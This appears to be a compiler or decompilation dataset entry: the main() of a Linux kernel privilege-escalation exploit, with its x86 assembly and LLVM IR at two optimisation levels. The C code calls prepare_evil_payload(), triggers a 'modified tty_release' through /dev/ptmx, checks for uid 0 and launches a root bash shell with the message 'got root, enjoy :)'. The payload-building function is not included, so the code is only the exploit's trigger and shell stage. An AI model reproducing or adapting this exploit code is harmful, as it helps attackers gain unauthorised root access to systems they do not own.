#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ EXIT_FAILURE;
int /*<<< orphan*/ close(int);
int execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
scalar_t__ getuid();
int open(char *, char);
int /*<<< orphan*/ prepare_evil_payload();
int /*<<< orphan*/ printf(char *);
int main(int argc, char **argv) {
  int fd;
  prepare_evil_payload();
  printf("trigger modified tty_release . . .\n");
  fd = open("/dev/ptmx", 'r');
  close(fd);
  if (getuid() != 0) {
    printf("failed to get root :(\n");
    exit(EXIT_FAILURE);
  }
  printf("got root, enjoy :)\n");
  return execl("/bin/bash", "-sh", NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   1060 <prepare_evil_payload@plt>
lea    0xe6c(%rip),%rdi
call   1040 <printf@plt>
lea    0xe84(%rip),%rdi
mov    $0x72,%esi
call   1070 <open@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%edi
call   1050 <close@plt>
mov    $0x0,%al
call   1030 <getuid@plt>
cmp    $0x0,%rax
je     11e0 <main+0x70>
lea    0xe61(%rip),%rdi
call   1040 <printf@plt>
mov    0x2e07(%rip),%rax
mov    (%rax),%edi
call   1080 <exit@plt>
lea    0xe5e(%rip),%rdi
call   1040 <printf@plt>
lea    0xe66(%rip),%rdi
lea    0xe69(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1090 <execl@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1060 <prepare_evil_payload@plt>
lea    0xe99(%rip),%rdi
call   1030 <puts@plt>
lea    0xe75(%rip),%rdi
mov    $0x72,%esi
call   1070 <open@plt>
mov    %eax,%edi
call   1050 <close@plt>
xor    %eax,%eax
call   1040 <getuid@plt>
test   %rax,%rax
jne    11ca <main+0x5a>
lea    0xe8c(%rip),%rdi
call   1030 <puts@plt>
lea    0xe4f(%rip),%rdi
lea    0xe52(%rip),%rsi
xor    %edx,%edx
pop    %rax
jmp    1090 <execl@plt>
lea    0xe7d(%rip),%rdi
call   1030 <puts@plt>
mov    0x2e03(%rip),%rax
mov    (%rax),%edi
call   1080 <exit@plt>

LLVM IR (-O0):
@.str = [36 x i8] c"trigger modified tty_release . . .\0A\00"
@.str.1 = [10 x i8] c"/dev/ptmx\00"
@.str.2 = [23 x i8] c"failed to get root :(\0A\00"
@EXIT_FAILURE = global i32 0
@.str.3 = [20 x i8] c"got root, enjoy :)\0A\00"
@.str.4 = [10 x i8] c"/bin/bash\00"
@.str.5 = [4 x i8] c"-sh\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%7 = call i32 (...) @prepare_evil_payload()
%8 = call i32 @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0))
%9 = call i32 @open(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i8 signext 114)
store i32 %9, i32* %6
%10 = load i32, i32* %6
%11 = call i32 @close(i32 %10)
%12 = call i64 (...) @getuid()
%13 = icmp ne i64 %12, 0
br i1 %13, label %14, label %18
14: ; preds = %2
%15 = call i32 @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0))
%16 = load i32, i32* @EXIT_FAILURE
%17 = call i32 @exit(i32 %16)
unreachable
18: ; preds = %2
%19 = call i32 @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.3, i64 0, i64 0))
%20 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.5, i64 0, i64 0), i32* null)
ret i32 %20
}

LLVM IR (-O2):
@.str.1 = [10 x i8] c"/dev/ptmx\00"
@EXIT_FAILURE = global i32 0
@.str.4 = [10 x i8] c"/bin/bash\00"
@.str.5 = [4 x i8] c"-sh\00"
@str = [35 x i8] c"trigger modified tty_release . . .\00"
@str.6 = [19 x i8] c"got root, enjoy :)\00"
@str.7 = [22 x i8] c"failed to get root :(\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 (...) @prepare_evil_payload()
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([35 x i8], [35 x i8]* @str, i64 0, i64 0))
%5 = tail call i32 @open(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i8 signext 114)
%6 = tail call i32 @close(i32 %5)
%7 = tail call i64 (...) @getuid()
%8 = icmp eq i64 %7, 0
br i1 %8, label %13, label %9
9: ; preds = %2
%10 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @str.7, i64 0, i64 0))
%11 = load i32, i32* @EXIT_FAILURE
%12 = tail call i32 @exit(i32 %11)
unreachable
13: ; preds = %2
%14 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.6, i64 0, i64 0))
%15 = tail call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.5, i64 0, i64 0), i32* null)
ret i32 %15
}